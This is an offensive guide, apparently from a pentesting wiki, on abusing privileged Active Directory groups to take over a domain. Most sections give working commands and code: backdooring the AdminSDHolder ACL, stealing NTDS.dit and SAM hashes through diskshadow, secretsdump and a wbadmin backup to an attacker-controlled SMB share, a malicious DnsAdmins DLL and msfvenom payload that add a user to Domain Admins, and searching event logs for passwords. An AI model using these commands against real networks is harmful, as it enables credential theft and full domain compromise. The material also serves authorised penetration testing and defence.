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Privileged Groups

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Well Known groups with administration privileges

Administrators
Domain Admins
Enterprise Admins

Account Operators

This group is empowered to create accounts and groups that are not administrators on the domain. Additionally, it enables local login to the Domain Controller (DC).

To identify the members of this group, the following command is executed:

Get-NetGroupMember -Identity "Account Operators" -Recurse

Adding new users is permitted, as well as local login to DC01.

AdminSDHolder group

The AdminSDHolder group's Access Control List (ACL) is crucial as it sets permissions for all "protected groups" within Active Directory, including high-privilege groups. This mechanism ensures the security of these groups by preventing unauthorized modifications.

An attacker could exploit this by modifying the AdminSDHolder group's ACL, granting full permissions to a standard user. This would effectively give that user full control over all protected groups. If this user's permissions are altered or removed, they would be automatically reinstated within an hour due to the system's design.

Commands to review the members and modify permissions include:

Get-NetGroupMember -Identity "AdminSDHolder" -Recurse
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'}

A script is available to expedite the restoration process: Invoke-ADSDPropagation.ps1.

For more details, visit ired.team.

AD Recycle Bin

Membership in this group allows for the reading of deleted Active Directory objects, which can reveal sensitive information:

Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *

Domain Controller Access

Access to files on the DC is restricted unless the user is part of the Server Operators group, which changes the level of access.

Privilege Escalation

Using PsService or sc from Sysinternals, one can inspect and modify service permissions. The Server Operators group, for instance, has full control over certain services, allowing for the execution of arbitrary commands and privilege escalation:

C:\> .\PsService.exe security AppReadiness

This command reveals that Server Operators have full access, enabling the manipulation of services for elevated privileges.

Backup Operators

Membership in the Backup Operators group provides access to the DC01 file system due to the SeBackup and SeRestore privileges. These privileges enable folder traversal, listing, and file copying capabilities, even without explicit permissions, using the FILE_FLAG_BACKUP_SEMANTICS flag. Utilizing specific scripts is necessary for this process.

To list group members, execute:

Get-NetGroupMember -Identity "Backup Operators" -Recurse

Local Attack

To leverage these privileges locally, the following steps are employed:

Import necessary libraries:

Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll

Enable and verify SeBackupPrivilege:

Set-SeBackupPrivilege
Get-SeBackupPrivilege

Access and copy files from restricted directories, for instance:

dir C:\Users\Administrator\
Copy-FileSeBackupPrivilege C:\Users\Administrator\report.pdf c:\temp\x.pdf -Overwrite

AD Attack

Direct access to the Domain Controller's file system allows for the theft of the NTDS.dit database, which contains all NTLM hashes for domain users and computers.

Using diskshadow.exe

Create a shadow copy of the C drive:

diskshadow.exe
set verbose on
set metadata C:\Windows\Temp\meta.cab
set context clientaccessible
begin backup
add volume C: alias cdrive
create
expose %cdrive% F:
end backup
exit

Copy NTDS.dit from the shadow copy:

Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit

Alternatively, use robocopy for file copying:

robocopy /B F:\Windows\NTDS .\ntds ntds.dit

Extract SYSTEM and SAM for hash retrieval:

reg save HKLM\SYSTEM SYSTEM.SAV
reg save HKLM\SAM SAM.SAV

Retrieve all hashes from NTDS.dit:

secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL

Using wbadmin.exe

Set up NTFS filesystem for SMB server on attacker machine and cache SMB credentials on the target machine.

Use wbadmin.exe for system backup and NTDS.dit extraction:

net use X: \\<AttackIP>\sharename /user:smbuser password
echo "Y" | wbadmin start backup -backuptarget:\\<AttackIP>\sharename -include:c:\windows\ntds
wbadmin get versions
echo "Y" | wbadmin start recovery -version:<date-time> -itemtype:file -items:c:\windows\ntds\ntds.dit -recoverytarget:C:\ -notrestoreacl

For a practical demonstration, see DEMO VIDEO WITH IPPSEC.

DnsAdmins

Members of the DnsAdmins group can exploit their privileges to load an arbitrary DLL with SYSTEM privileges on a DNS server, often hosted on Domain Controllers. This capability allows for significant exploitation potential.

To list members of the DnsAdmins group, use:

Get-NetGroupMember -Identity "DnsAdmins" -Recurse

Execute arbitrary DLL

Members can make the DNS server load an arbitrary DLL (either locally or from a remote share) using commands such as:

dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll
dnscmd [dc.computername] /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll
An attacker could modify the DLL to add a user to the Domain Admins group or execute other commands with SYSTEM privileges. Example DLL modification and msfvenom usage:

// Modify DLL to add user
DWORD WINAPI DnsPluginInitialize(PVOID pDnsAllocateFunction, PVOID pDnsFreeFunction)
{
    system("C:\\Windows\\System32\\net.exe user Hacker T0T4llyrAndOm... /add /domain");
    system("C:\\Windows\\System32\\net.exe group \"Domain Admins\" Hacker /add /domain");
}

// Generate DLL with msfvenom
msfvenom -p windows/x64/exec cmd='net group "domain admins" <username> /add /domain' -f dll -o adduser.dll

Restarting the DNS service (which may require additional permissions) is necessary for the DLL to be loaded:

sc.exe \\dc01 stop dns
sc.exe \\dc01 start dns

For more details on this attack vector, refer to ired.team.

Mimilib.dll

It's also feasible to use mimilib.dll for command execution, modifying it to execute specific commands or reverse shells. Check this post for more information.

WPAD Record for MitM

DnsAdmins can manipulate DNS records to perform Man-in-the-Middle (MitM) attacks by creating a WPAD record after disabling the global query block list. Tools like Responder or Inveigh can be used for spoofing and capturing network traffic.

### Event Log Readers Members can access event logs, potentially finding sensitive information such as plaintext passwords or command execution details:

# Get members and search logs for sensitive information
Get-NetGroupMember -Identity "Event Log Readers" -Recurse
Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'}

Exchange Windows Permissions

This group can modify DACLs on the domain object, potentially granting DCSync privileges. Techniques for privilege escalation exploiting this group are detailed in Exchange-AD-Privesc GitHub repo.

# List members
Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse

Hyper-V Administrators

Hyper-V Administrators have full access to Hyper-V, which can be exploited to gain control over virtualized Domain Controllers. This includes cloning live DCs and extracting NTLM hashes from the NTDS.dit file.

Exploitation Example

Firefox's Mozilla Maintenance Service can be exploited by Hyper-V Administrators to execute commands as SYSTEM. This involves creating a hard link to a protected SYSTEM file and replacing it with a malicious executable:

# Take ownership and start the service
takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
sc.exe start MozillaMaintenance

Note: Hard link exploitation has been mitigated in recent Windows updates.

Organization Management

In environments where Microsoft Exchange is deployed, a special group known as Organization Management holds significant capabilities. This group is privileged to access the mailboxes of all domain users and maintains full control over the 'Microsoft Exchange Security Groups' Organizational Unit (OU). This control includes the Exchange Windows Permissions group, which can be exploited for privilege escalation.

Privilege Exploitation and Commands

Print Operators

Members of the Print Operators group are endowed with several privileges, including the SeLoadDriverPrivilege, which allows them to log on locally to a Domain Controller, shut it down, and manage printers. To exploit these privileges, especially if SeLoadDriverPrivilege is not visible under an unelevated context, bypassing User Account Control (UAC) is necessary.

To list the members of this group, the following PowerShell command is used:

Get-NetGroupMember -Identity "Print Operators" -Recurse

For more detailed exploitation techniques related to SeLoadDriverPrivilege, one should consult specific security resources.

Remote Desktop Users

This group's members are granted access to PCs via Remote Desktop Protocol (RDP). To enumerate these members, PowerShell commands are available:

Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Desktop Users"

Further insights into exploiting RDP can be found in dedicated pentesting resources.

Remote Management Users

Members can access PCs over Windows Remote Management (WinRM). Enumeration of these members is achieved through:

Get-NetGroupMember -Identity "Remote Management Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Users"

For exploitation techniques related to WinRM, specific documentation should be consulted.

Server Operators

This group has permissions to perform various configurations on Domain Controllers, including backup and restore privileges, changing system time, and shutting down the system. To enumerate the members, the command provided is:

Get-NetGroupMember -Identity "Server Operators" -Recurse

References